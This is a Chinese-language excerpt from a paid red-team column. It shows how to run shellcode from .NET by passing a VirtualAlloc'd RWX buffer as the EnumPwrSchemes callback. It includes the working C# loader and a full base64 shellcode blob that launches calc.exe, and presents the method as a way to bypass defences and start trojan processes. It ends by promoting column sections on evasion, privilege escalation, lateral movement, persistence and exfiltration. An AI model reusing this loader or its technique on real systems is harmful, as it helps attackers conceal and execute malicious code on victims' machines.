01阅读须知
此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。
02基本介绍
本文内容部分节选自小报童《.NET 通过回调函数执行Shellcode启动进程》!
03编码实现
在红队活动往往需要考虑如何在实际环境中绕过防御机制,启动木马进程。今天,我们将深入探讨一种较少被提及但非常有趣的技术—利用 EnumPwrSchemes 函数回调来执行Shellcode。
3.1 EnumPwrSchemes函数
EnumPwrSchemes 是 Windows 操作系统中的一个 API 函数,位于 C:\Windows\System32\powrprof.dll 库中,用于枚举系统中的电源配置,可以控制计算机的电源使用策略,比如休眠、关闭硬盘、显示器等。EnumPwrSchemes 函数原型如下所示。
BOOLEAN EnumPwrSchemes(
PWRSCHEMESENUMPROC lpfn,
LPARAM lParam
);
接受一个回调函数和一个参数指针,其中,lpfn参数是一个指向回调函数的指针,该回调函数用于处理每个电源配置的详细信息,另一个参数lParam,是一个自定义参数,类型为 LPARAM,它会被传递给回调函数,通常用于传递上下文信息,每当找到一个系统电源配置时,会自动调用该函数。
3.2 EnumPwrSchemes函数
下面这个代码片段展示了如何在.NET中使用 VirtualAlloc 和 EnumPwrSchemes 函数协同完成执行Shellcode启动计算器进程。
string base64Content = args[0];
byte[] shellcode = Convert.FromBase64String(base64Content);
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
EnumPwrSchemes(addr, IntPtr.Zero);
上述代码中首先,从命令行参数中获取 Base64 编码的 Shellcode,这里使用启动本地计算器的Shellcode,具体如下所示。
/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==
综上,通过使用 EnumPwrSchemes 等 Windows API 函数,攻击者可以隐藏并执行恶意代码。
04.NET 电子报刊
本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理